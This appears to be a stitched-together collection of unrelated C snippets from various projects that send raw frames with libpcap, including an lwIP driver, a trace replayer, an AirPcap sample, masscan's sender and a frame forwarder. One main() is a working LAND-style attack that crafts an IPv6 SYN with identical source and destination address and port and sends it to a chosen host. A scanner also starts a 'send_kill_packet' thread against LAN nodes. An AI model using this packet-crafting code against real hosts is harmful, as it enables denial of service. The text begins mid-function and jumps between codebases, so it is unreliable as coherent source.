snmp_add_ifoutoctets(netif, tot_len); ethhdr = (struct eth_hdr *)p->payload; if ((ethhdr->dest.addr[0] & 1) != 0) { /* broadcast or multicast packet*/ snmp_inc_ifoutnucastpkts(netif); } else { /* unicast packet */ snmp_inc_ifoutucastpkts(netif); } return ERR_OK; }
void *networkScan(void *arg) { bpf_u_int32 netaddr=0, mask=0; /* To Store network address and netmask */ struct bpf_program filter; /* Place to store the BPF filter program */ char errbuf[PCAP_ERRBUF_SIZE]; /* Error buffer */ pcap_t *descr = NULL; /* Network interface handler */ char *ethernet = DEVICENAME; device_info dev_info; /*my ethernet address*/ device_info gate_info; NodeStatus node_status; //노드 정보 network_grub_args *n_args = 0; sendkill_grub_args k_args; pthread_t t_id1 = 0; pthread_t t_id2 = 0; int state1 = 0; int state2 = 0; receiver_grub_args grub; int i; memset(&node_status, 0, sizeof(NodeStatus)); n_args = (network_grub_args*)arg; memset(errbuf,0,PCAP_ERRBUF_SIZE); /* Open network device for packet capture */ if ((descr = pcap_open_live(ethernet, MAXBYTES2CAPTURE, 0, 512, errbuf))==NULL){ fprintf(stderr, "1ERROR: %s\n", errbuf); exit(1); } /* Look up info from the capture device. */ if( pcap_lookupnet(ethernet , &netaddr, &mask, errbuf) == -1){ fprintf(stderr, "2ERROR: %s\n", errbuf); exit(1); } /* Compiles the filter expression into a BPF filter program */ if ( pcap_compile(descr, &filter, "tcp or arp", 1, mask) == -1){ fprintf(stderr, "3ERROR: %s\n", pcap_geterr(descr) ); exit(1); } /* Load the filter program into the packet capture device. */ if (pcap_setfilter(descr,&filter) == -1){ fprintf(stderr, "4ERROR: %s\n", pcap_geterr(descr) ); exit(1); } get_device_info(&dev_info); k_args.n_args = n_args; k_args.gate_info = &gate_info; k_args.descr = descr; while(1) { /* get gateway*/ const unsigned char *packet = NULL; //packet struct pcap_pkthdr *p_pkthdr = 0; packet = make_arp_packet(dev_info, n_args->g_ip); pcap_sendpacket(descr, packet, 42); if (pcap_next_ex(descr, &p_pkthdr, &packet) != 1) { continue; } if(gateway_get(packet, n_args->g_ip, k_args.gate_info)) break; } printf("GateWay MAC: "); for(i=0; i<6;i++) { printf("%02X:", k_args.gate_info->macaddr[i]); } printf("\nGateWay IP: "); for(i=0; i<4;i++) { printf("%d.", k_args.gate_info->ipaddr[i]); } puts(""); grub.p_descr = descr; grub.p_node_status = &node_status; memcpy( (char*)&grub+8, (unsigned char*)&dev_info+6, 4); state1 = pthread_create(&t_id1, NULL, receiver, &grub); // puts("thread start"); if (state1 != 0) { fprintf(stderr, "pthread_create() error\n"); return 0; } state2 = pthread_create(&t_id2, NULL, send_kill_packet, &k_args); // puts("thread start"); if (state2 != 0) { fprintf(stderr, "pthread_create() error\n"); return 0; } // puts("thread start2"); while(1) { traffic_flag = 0; memset(&node_status, 0, sizeof(NodeStatus)); send_arp_packet(descr, dev_info); sleep(1); printf("network node status!!!!\n"); for(i=1; i<255; i++) { if(node_status.node[i].status == 1) { printf("%6d", i); } else { printf("%6d", 0); } if(i%15 == 0) puts(""); } puts(""); traffic_flag = 1; sleep(30); } printf("main function exit\n"); return 0; }
void send_packets(char *device, char *trace_file) { FILE *fp; /* file pointer to trace file */ struct pcap_file_header preamble; struct pcap_sf_pkthdr header; int pkt_len; /* packet length to send */ int ret; int i; int it; // LC: iterator struct pcap_timeval p_ts; struct timeval ts; struct timeval sleep = {0,0}; struct timeval cur_ts; struct timeval prev_ts = {0,0}; struct timespec nsleep; sigset_t block_sig; // LC: variables unsigned int ipsourceT; struct in_addr ipsource; u_char *pkt_ip; int pcount; // packet count pcount = 0; (void)sigemptyset(&block_sig); (void)sigaddset(&block_sig, SIGINT); notice("trace file: %s", trace_file); if ((fp = fopen(trace_file, "rb")) == NULL) error("fopen(): error reading %s", trace_file); /* preamble occupies the first 24 bytes of a trace file */ if (fread(&preamble, sizeof(preamble), 1, fp) == 0) error("fread(): error reading %s", trace_file); if (preamble.magic != PCAP_MAGIC) error("%s is not a valid pcap based trace file", trace_file); /* * loop through the remaining data by reading the packet header first. * packet header (16 bytes) = timestamp + length */ while ((ret = fread(&header, sizeof(header), 1, fp))) { if (ret == 0) error("fread(): error reading %s", trace_file); /* copy timestamp for current packet */ memcpy(&p_ts, &header.ts, sizeof(p_ts)); cur_ts.tv_sec = p_ts.tv_sec; cur_ts.tv_usec = p_ts.tv_usec; if (len < 0) /* captured length */ pkt_len = header.caplen; else if (len == 0) /* actual length */ pkt_len = header.len; else /* user specified length */ pkt_len = len; if (timerisset(&prev_ts)) { /* pass first packet */ if (speed != 0) { if (interval > 0) { /* user specified interval is in seconds only */ sleep.tv_sec = interval; if (speed != 1) timer_div(&sleep, speed); /* speed factor */ } else { /* grab captured interval */ timersub(&cur_ts, &prev_ts, &sleep); if (speed != 1) { if (sleep.tv_sec > SLEEP_MAX) /* to avoid integer overflow in timer_div() */ notice("ignoring speed due to large interval"); else timer_div(&sleep, speed); } } if (linerate > 0) { i = linerate_interval(pkt_len); /* check if we exceed line rate */ if ((sleep.tv_sec == 0) && (sleep.tv_usec < i)) sleep.tv_usec = i; /* exceeded -> adjust */ } } else { /* send immediately */ if (linerate > 0) sleep.tv_usec = linerate_interval(pkt_len); } if (timerisset(&sleep)) { /* notice("sleep %d seconds %d microseconds", sleep.tv_sec, sleep.tv_usec); */ TIMEVAL_TO_TIMESPEC(&sleep, &nsleep); if (nanosleep(&nsleep, NULL) == -1) /* create the artificial slack time */ notice("nanosleep(): %s", strerror(errno)); } } // LC: force to skip the packet if(pkt_len < ETHER_MAX_LEN){ for (i = 0; i < pkt_len; i++) { /* copy captured packet data starting from link-layer header */ if (i < header.caplen) { if ((ret = fgetc(fp)) == EOF) error("fgetc(): error reading %s", trace_file); pkt_data[i] = ret; } else /* pad trailing bytes with zeros */ pkt_data[i] = PKT_PAD; } (void)sigprocmask(SIG_BLOCK, &block_sig, NULL); /* hold SIGINT */ // LC: find source ip //fprintf(stdout, "%d Sending %d bytes ", pcount++, pkt_len); if(pkt_len > 33){ // at least could be ip if( ((struct ether_header *)pkt_data)->ether_type == 8){ pkt_ip = pkt_data+14; //fprintf(stdout, "Ether type = 8 "); //fprintf(stdout, "Ip v = %d \t", ((struct ip *)pkt_ip)->ip_v); ipsource = ((struct ip *)pkt_ip)->ip_src; ipsourceT = ntohl(ipsource.s_addr); //fprintf(stdout, "Source %u %s ", ipsourceT, inet_ntoa(ipsource)); // //fprintf(stdout, " %s ", inet_ntoa(ipsource)); for(it = 0; it < nentries; it++){ //fprintf(stdout, "(%u %u %u) \t", (unsigned int)ipTable[(it * 3) + 0], ipsourceT, (unsigned int)ipTable[(it * 3) + 1]); // if( ((unsigned int)ipTable[(it * 3) + 0] <= (unsigned int)ipsourceT ) && ((unsigned int)ipTable[(it * 3) + 1]) >= (unsigned int)ipsourceT ){ //fprintf(stdout, "In range at if %s \r\n", ipTable[(it * 3) + 2]); //pcap_t *pd = ipTable[(it * 3) + 2]; pd = pdl[it]; break; } } } } // LC: checks if(pkt_len < ETHER_MAX_LEN && it != nentries){ /* finish the injection and verbose output before we give way to SIGINT */ if (pcap_sendpacket(pd, pkt_data, pkt_len) == -1) { notice("%s", pcap_geterr(pd)); ++failed; } else { ++pkts_sent; bytes_sent += pkt_len; /* copy timestamp for previous packet sent */ memcpy(&prev_ts, &cur_ts, sizeof(struct timeval)); /* verbose output */ if (vflag) { if (gettimeofday(&ts, NULL) == -1) notice("gettimeofday(): %s", strerror(errno)); else ts_print(&ts); (void)printf("#%d (%d bytes)", pkts_sent, pkt_len); if (vflag > 1) hex_print(pkt_data, pkt_len); else putchar('\n'); fflush(stdout); } } (void)sigprocmask(SIG_UNBLOCK, &block_sig, NULL); /* release SIGINT */ if ((max_pkts > 0) && (pkts_sent >= max_pkts)) cleanup(0); } }else{ // LC: force skip // fprintf(stdout, "LC: Force Skip packet !\r\n"); for (i = 0; i < pkt_len; i++) { /* copy captured packet data starting from link-layer header */ if (i < header.caplen) { if ((ret = fgetc(fp)) == EOF) error("fgetc(): error reading %s", trace_file); } } } /* move file pointer to the end of this packet data */ if (i < header.caplen) { if (fseek(fp, header.caplen - pkt_len, SEEK_CUR) != 0) error("fseek(): error reading %s", trace_file); } } /* end while */ (void)fclose(fp); }
int main(int argc, char* argv[]) { if ( argc<4 ) { usage(argv[0]); return EXIT_FAILURE; } int retVal; struct addrinfo hints,*addrinfo; ZeroMemory(&hints,sizeof(hints)); WSADATA wsaData; if ( WSAStartup( MAKEWORD(2,2), &wsaData ) != NO_ERROR ) { fprintf( stderr, "Error in WSAStartup():%d\n",WSAGetLastError()); return EXIT_FAILURE; } // // Get MAC address of remote host (assume link local IpV6 address) // hints.ai_family = PF_INET6; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; retVal = getaddrinfo(argv[2],0, &hints, &addrinfo); if ( retVal!=0 ) { WSACleanup(); fprintf( stderr, "Error in getaddrinfo():%d\n",WSAGetLastError()); exit(EXIT_FAILURE); } // // Open WinPCap adapter // if ( (pcap_handle = pcap_open_live (argv[1], 1514, PCAP_OPENFLAG_PROMISCUOUS, 100, (char*)errbuf)) == NULL ) { freeaddrinfo(addrinfo); WSACleanup(); fprintf(stderr, "Error opening device: %s\n",argv[1]); return EXIT_FAILURE; } ZeroMemory(packet,sizeof(packet)); struct sockaddr_in6 *sa = (struct sockaddr_in6 *) addrinfo->ai_addr; // fill ethernet header eth_hdr->ether_dhost[0] = eth_hdr->ether_shost[0] = 0;// assume address like 00:something; eth_hdr->ether_dhost[1] = eth_hdr->ether_shost[1] = sa->sin6_addr.u.Byte[9]; eth_hdr->ether_dhost[2] = eth_hdr->ether_shost[2] = sa->sin6_addr.u.Byte[10]; eth_hdr->ether_dhost[3] = eth_hdr->ether_shost[3] = sa->sin6_addr.u.Byte[13]; eth_hdr->ether_dhost[4] = eth_hdr->ether_shost[4] = sa->sin6_addr.u.Byte[14]; eth_hdr->ether_dhost[5] = eth_hdr->ether_shost[5] = sa->sin6_addr.u.Byte[15]; eth_hdr->ether_type = 0xdd86; // fill IP header // source ip == destination ip memcpy(ip6_hdr->ip_src.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte)); memcpy(ip6_hdr->ip_dst.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte)); ip6_hdr->ip_hl = 255; ip6_hdr->ip_nh = IPPROTO_TCP; ip6_hdr->ip_len = htons (20); ip6_hdr->ip_flags[0] = 0x06 << 4; srand((unsigned int) time(0)); // fill tcp header tcp_hdr->th_sport = tcp_hdr->th_dport = htons (atoi(argv[3])); // source port equal to destination tcp_hdr->th_seq = rand(); tcp_hdr->th_ack = rand(); tcp_hdr->th_off = htons(5); tcp_hdr->th_win = rand(); tcp_hdr->th_sum = 0; tcp_hdr->th_urp = htons(10); tcp_hdr->th_off = 5; tcp_hdr->th_flags = 2; // calculate tcp checksum int chsum = libnet_in_cksum ((u_int16_t *) & ip6_hdr->ip_src, 32); chsum += ntohs (IPPROTO_TCP + sizeof (struct libnet_tcp_hdr)); chsum += libnet_in_cksum ((u_int16_t *) tcp_hdr, sizeof (struct libnet_tcp_hdr)); tcp_hdr->th_sum = LIBNET_CKSUM_CARRY (chsum); // send data to wire retVal = pcap_sendpacket (pcap_handle, (u_char *) packet, sizeof(packet)); if ( retVal == -1 ) { fprintf(stderr,"Error writing packet to wire!!\n"); } // // close adapter, free mem.. etc.. // pcap_close(pcap_handle); freeaddrinfo(addrinfo); WSACleanup(); return EXIT_SUCCESS; }
/* * Puts the specified packet in the interface * Parameters: * packet_data: a pointer to the packet data * size: size of data to read * Returns: 0 if the packet was sent, -1 on error */ int Interface::inject(const u_char *packet_data, size_t size) { return pcap_sendpacket (handle, packet_data, size); }
void *CudpdrvRxTread::Entry() { pcap_t *fp; char errbuf[ PCAP_ERRBUF_SIZE ]; uint8_t packet[ 512 ]; // First log on to the host and get configuration // variables if ( m_srv.doCmdOpen( m_pobj->m_host, m_pobj->m_port, m_pobj->m_username, m_pobj->m_password ) <= 0 ) { return NULL; } // Find the channel id uint32_t ChannelID; m_srv.doCmdGetChannelID( &ChannelID ); // We want to use our own Ethernet based GUID for this interface wxString strGUID; m_pobj->m_localGUIDrx.toString( strGUID ); m_srv.doCmdSetGUID( (char *)strGUID.ToAscii() ); // Open the adapter if ( (fp = pcap_open_live( m_pobj->m_interface.ToAscii(), // name of the device 65536, // portion of the packet to capture. It doesn't matter in this case 1, // promiscuous mode (nonzero means promiscuous) 1000, // read timeout errbuf // error buffer ) ) == NULL ) { //fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", argv[1]); return NULL; } // Enter receive loop to start to log events m_srv.doCmdEnterReceiveLoop(); int rv; vscpEvent event; while ( !TestDestroy() && !m_pobj->m_bQuit ) { if ( CANAL_ERROR_SUCCESS == ( rv = m_srv.doCmdBlockReceive( &event, 1000 ) ) ) { // As we are on a different VSCP interface we need to filter the events we sent out // ourselves. if ( m_pobj->m_ChannelIDtx == event.obid ) { continue; } // Set mac destination to broadcast ff:ff:ff:ff:ff:ff packet[ 0 ] = 0xff; packet[ 1 ] = 0xff; packet[ 2 ] = 0xff; packet[ 3 ] = 0xff; packet[ 4 ] = 0xff; packet[ 5 ] = 0xff; // set mac source to configured value - 6..11 memcpy( packet + 6, m_pobj->m_localMac, 6 ); // Set the type - always 0x2574 (9598) packet[ 12 ] = 0x25; packet[ 13 ] = 0x7e; // rawEthernet frame version packet[ 14 ] = 0x00; // Head packet[ 15 ] = ( event.head & VSCP_HEADER_PRIORITY_MASK ); packet[ 16 ] = 0x00; packet[ 17 ] = 0x00; packet[ 18 ] = 0x00; // LSB // VSCP sub source address For this interface it's 0x0000 packet[ 19 ] = 0x00; packet[ 20 ] = 0x00; // Timestamp uint32_t timestamp = wxINT32_SWAP_ON_LE( event.timestamp ); packet[ 21 ] = ( timestamp & 0xff000000 ) >> 24; packet[ 22 ] = ( timestamp & 0x00ff0000 ) >> 16; packet[ 23 ] = ( timestamp & 0x0000ff00 ) >> 8; packet[ 24 ] = ( timestamp & 0x000000ff ); // obid uint32_t obid = wxINT32_SWAP_ON_LE( event.obid ); packet[ 25 ] = ( obid & 0xff000000 ) >> 24; packet[ 26 ] = ( obid & 0x00ff0000 ) >> 16; packet[ 27 ] = ( obid & 0x0000ff00 ) >> 8; packet[ 28 ] = ( obid & 0x000000ff ); // VSCP Class uint16_t vscp_class = wxINT16_SWAP_ON_LE( event.vscp_class ); packet[ 29 ] = ( vscp_class & 0xff00 ) >> 8; packet[ 30 ] = ( vscp_class & 0xff ); // VSCP Type uint16_t vscp_type = wxINT16_SWAP_ON_LE( event.vscp_type ); packet[ 31 ] = ( vscp_type & 0xff00 ) >> 8; packet[ 32 ] = ( vscp_class & 0xff ); // Size packet[ 33 ] = event.sizeData >> 8; packet[ 34 ] = event.sizeData & 0xff; // VSCP Data for ( int idx=0; idx < event.sizeData; idx++ ) { packet[ 35 + idx ] = event.pdata[ idx ]; } // Send the packet if ( 0 != pcap_sendpacket( fp, packet, 32 + 1 + event.sizeData ) ) { //fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(fp)); // An error sending the frame - we do nothing // TODO: Send error frame back to daemon???? } // We are done with the event - remove data if any if ( NULL != event.pdata ) { delete [] event.pdata; event.pdata = NULL; } } // Event received } // work loop // Close the ethernet interface pcap_close( fp ); // Close the channel m_srv.doCmdClose(); return NULL; }
void handler::send(u_char *data, u_short len) { pcap_sendpacket(handle, data, len); }
int main() { pcap_t *winpcap_adapter; u_int32_t inum, i, j; char errbuf[PCAP_ERRBUF_SIZE]; u_int32_t freq_chan; PAirpcapHandle airpcap_handle; pcap_if_t *alldevs, *d; PPI_PACKET_HEADER *radio_header; u_int32_t tchannel = 1; AirpcapChannelInfo tchaninfo; // // Get the device list // if(pcap_findalldevs(&alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs_ex: %s\n", errbuf); return -1; } // // Make sure that the device list is valid // if(alldevs == NULL) { printf("No interfaces found! Make sure the winpcap software is installed and your adapter is properly plugged in.\n"); return -1; } // // Print the list and ask for a selection // for(d = alldevs, i = 0; d; d=d->next) { printf("%d. %s\n ", ++i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); pcap_freealldevs(alldevs); return -1; } printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); // // Check if the user specified a valid adapter // if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); pcap_freealldevs(alldevs); return -1; } // // Jump to the selected adapter // for(d = alldevs, i = 0; i < inum-1 ;d = d->next, i++); // // Ask for a channel to listen to // printf("Enter the channel or frequency:",i); scanf("%d", &freq_chan); // // Check if the user specified a valid channel // if(freq_chan < 1 || freq_chan > 8000) { printf("\nChannel or frequency out of range.\n"); pcap_freealldevs(alldevs); return -1; } // // Open the adapter with WinPcap // if((winpcap_adapter = pcap_open_live(d->name, // name of the device 65536, // portion of the packet to capture. // 65536 grants that the whole packet will be captured on all the MACs. 1, // promiscuous mode (nonzero means promiscuous) 1000, // read timeout, in ms errbuf // error buffer )) == NULL) { printf("Error opening adapter with winpcap (%s)\n", errbuf); pcap_freealldevs(alldevs); return -1; } // // We don't need the device list any more, free it // pcap_freealldevs(alldevs); // // Get the airpcap handle so we can change wireless-specific settings // airpcap_handle = (PAirpcapHandle)pcap_get_airpcap_handle(winpcap_adapter); if(airpcap_handle == NULL) { printf("This adapter doesn't have wireless extensions. Quitting\n"); pcap_close(winpcap_adapter); return -1; } // // Configure the AirPcap adapter // // Set the channel. // If the user provides a value below 500, we assume it's a channel number, otherwise we assume it's a frequency. if(freq_chan < 500) { if(!AirpcapSetDeviceChannel(airpcap_handle, freq_chan)) { printf("Error setting the channel: %s\n", AirpcapGetLastError(airpcap_handle)); pcap_close(winpcap_adapter); return -1; } } else { memset(&tchaninfo, 0, sizeof(tchaninfo)); tchaninfo.Frequency = freq_chan; if(!AirpcapSetDeviceChannelEx(airpcap_handle, tchaninfo)) { printf("Error setting the channel: %s\n", AirpcapGetLastError(airpcap_handle)); pcap_close(winpcap_adapter); return -1; } } //////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////// // First, we transmit the packet without PPI information. // Not using the PPI header makes packet crafting process simpler, because we just // but we don't provide the packet data in a buffer. However, we don't have // control on the tx rate: the packets will always go out at 1 Mbps. //////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////// // // Set the link layer to bare 802.11 // if(!AirpcapSetLinkType(airpcap_handle, AIRPCAP_LT_802_11)) { printf("Error setting the link layer: %s\n", AirpcapGetLastError(airpcap_handle)); pcap_close(winpcap_adapter); return -1; } // // Initialize the Tx packet with an increasing value // for(i = 0; i < TX_PACKET_LEN; i++) { TxPacket[i] = i & 0xff; } // // Now transmit the packet the specified number of times // for(i = 0; i < N_TX_REPETITIONS; i++) { if(pcap_sendpacket(winpcap_adapter, TxPacket, (TX_PACKET_LEN)) != 0) { printf("Error sending the packet: %s\n", pcap_geterr(winpcap_adapter)); pcap_close(winpcap_adapter); return -1; } } // // Notify the user that all went well // printf("Successfully sent the raw 802.11 packet %u times.\n", N_TX_REPETITIONS); //////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////// // Second, we transmit the packet with PPI information. // This allows us to specify the tx rate. We repeat the transmission for all the // rates specified in the TestTxRatesToTest array //////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////// for(j = 0; j < sizeof(TestTxRatesToTest) / sizeof(TestTxRatesToTest[0]); j++) { // // Set the link layer to 802.11 + PPI // if(!AirpcapSetLinkType(airpcap_handle, AIRPCAP_LT_802_11_PLUS_PPI)) { printf("Error setting the link layer: %s\n", AirpcapGetLastError(airpcap_handle)); pcap_close(winpcap_adapter); return -1; } // // Create the PPI header // radio_header = (PPI_PACKET_HEADER*)TxPacket; radio_header->PphDlt = 105; // 802.11 radio_header->PphLength = sizeof(PPI_PACKET_HEADER); // header len: 32 bytes radio_header->PfhType = PPI_PFHTYPE_80211COMMON; // Common header is the first header radio_header->PfhLength = PPI_PFHTYPE_80211COMMON_SIZE; // Common header size is 20 radio_header->Rate = (UCHAR)(TestTxRatesToTest[j] * 2); // Frame rate radio_header->DbmAntSignal = 0; // Currently not supported // // Initialize the Tx packet buffer with the transmission rate. // for(i = sizeof(PPI_PACKET_HEADER); i < TX_PACKET_LEN + sizeof(PPI_PACKET_HEADER); i++) { TxPacket[i] = (UCHAR)TestTxRatesToTest[j]; } // // Now transmit the packet the specified number of times // for(i = 0; i < N_TX_REPETITIONS; i++) { if(pcap_sendpacket(winpcap_adapter, TxPacket, TX_PACKET_LEN + sizeof(PPI_PACKET_HEADER)) != 0) { printf("Error sending the packet: %s\n", pcap_geterr(winpcap_adapter)); pcap_close(winpcap_adapter); return -1; } } // // Notify the user that all went well // printf("Successfully sent the PPI 802.11 packet %u times at %u Mbps.\n", N_TX_REPETITIONS, (u_int32_t)TestTxRatesToTest[j]); } // // Close the libpcap handler. Note that We don't need to close the AirPcap handler, because // pcap_close takes care of it. // pcap_close(winpcap_adapter); return 0; }
void vNetifTx( void ) { pcap_sendpacket( pxOpenedInterfaceHandle, uip_buf, uip_len ); pcap_sendpacket( pxOpenedInterfaceHandle, uip_buf, uip_len ); }
int if_pcap_sendpacket(struct if_pcap_host_context *ctx, const uint8_t *buf, unsigned int size) { return pcap_sendpacket(ctx->p, buf, size); }
/*************************************************************************** * wrapper for libpcap's sendpacket * * PORTABILITY: WINDOWS and PF_RING * For performance, Windows and PF_RING can queue up multiple packets, then * transmit them all in a chunk. If we stop and wait for a bit, we need * to flush the queue to force packets to be transmitted immediately. ***************************************************************************/ int rawsock_send_packet( struct Adapter *adapter, const unsigned char *packet, unsigned length, unsigned flush) { if (adapter == 0) return 0; /* Print --packet-trace if debugging */ if (adapter->is_packet_trace) { packet_trace(stdout, packet, length, 1); } /* PF_RING */ if (adapter->ring) { int err = PF_RING_ERROR_NO_TX_SLOT_AVAILABLE; while (err == PF_RING_ERROR_NO_TX_SLOT_AVAILABLE) { err = PFRING.send(adapter->ring, packet, length, (unsigned char)flush); } if (err < 0) LOG(1, "pfring:xmit: ERROR %d\n", err); return err; } /* WINDOWS PCAP */ if (adapter->sendq) { int err; struct pcap_pkthdr hdr; hdr.len = length; hdr.caplen = length; err = pcap_sendqueue_queue(adapter->sendq, &hdr, packet); if (err) { //printf("sendpacket() failed %d\n", x); //for (;;) pcap_sendqueue_transmit(adapter->pcap, adapter->sendq, 0); //printf("pcap_send_queue)() returned %u\n", x); pcap_sendqueue_destroy(adapter->sendq); adapter->sendq = pcap_sendqueue_alloc(SENDQ_SIZE); pcap_sendqueue_queue(adapter->sendq, &hdr, packet); //("sendpacket() returned %d\n", x); //exit(1); } else ; //printf("+%u\n", count++); if (flush) { pcap_sendqueue_transmit(adapter->pcap, adapter->sendq, 0); /* Dude, I totally forget why this step is necessary. I vaguely * remember there's a good reason for it though */ pcap_sendqueue_destroy(adapter->sendq); adapter->sendq = pcap_sendqueue_alloc(SENDQ_SIZE); } return 0; } /* LIBPCAP */ if (adapter->pcap) return pcap_sendpacket(adapter->pcap, packet, length); return 0; }
int main(int argc, char *argv[]) { char errbuf[PCAP_ERRBUF_SIZE]; pcap_t *from, *to; struct pcap_pkthdr *header; const unsigned char *pkt_data; unsigned char *new_pkt; int res; printf("[%s] I'm going to start\n",NAME); //Check for root privileges if(geteuid() != 0) { fprintf(stderr,"[%s] Root permissions are required to run %s\n",NAME,argv[0]); exit(EXIT_FAILURE); } printf("[%s] I'm going to start\n",NAME); from = pcap_open_live(FROM, BUFSIZ, 1, 1000, errbuf); if(from == NULL) { fprintf(stderr,"[%s] %s\n", NAME, errbuf); exit(EXIT_FAILURE); } to = pcap_open_live(TO, BUFSIZ, 1, 1000, errbuf); if(to == NULL) { fprintf(stderr,"[%s] %s\n", NAME, errbuf); exit(EXIT_FAILURE); } printf("[%s] Devices open!\n",NAME); while ((res = pcap_next_ex(from, &header, &pkt_data)) >= 0) { if(unlikely(res>0)){ //#ifdef ENABLE_LOG fprintf(stdout,"[%s] *******************************************",NAME); fprintf(stdout,"[%s] Packet received:\n",NAME); fprintf(stdout,"[%s] \tlength: %d bytes\n",NAME,header->caplen); fprintf(stdout,"[%s] \t%x:%x:%x:%x:%x:%x -> %x:%x:%x:%x:%x:%x\n",NAME,pkt_data[6],pkt_data[7],pkt_data[8],pkt_data[9],pkt_data[10],pkt_data[11],pkt_data[0],pkt_data[1],pkt_data[2],pkt_data[3],pkt_data[4],pkt_data[5]); //#endif new_pkt = (unsigned char*)pkt_data; new_pkt[0] = new_pkt[1] = new_pkt[2] = new_pkt[3] = new_pkt[4] = new_pkt[5] = 0xa; //#ifdef ENABLE_LOG fprintf(stdout,"[%s] New packet:\n",NAME); fprintf(stdout,"[%s] \t%x:%x:%x:%x:%x:%x -> %x:%x:%x:%x:%x:%x\n",NAME,new_pkt[6],new_pkt[7],new_pkt[8],new_pkt[9],new_pkt[10],new_pkt[11],new_pkt[0],new_pkt[1],new_pkt[2],new_pkt[3],new_pkt[4],new_pkt[5]); fprintf(stdout,"[%s] *******************************************",NAME); fprintf(stdout,"[%s]",NAME); //#endif if (unlikely (pcap_sendpacket(to, new_pkt, header->caplen) != 0)) { fprintf(stdout,"[%s] Error sending the packet: %s\n", NAME,pcap_geterr(to)); exit(EXIT_FAILURE); } } } exit(EXIT_SUCCESS); }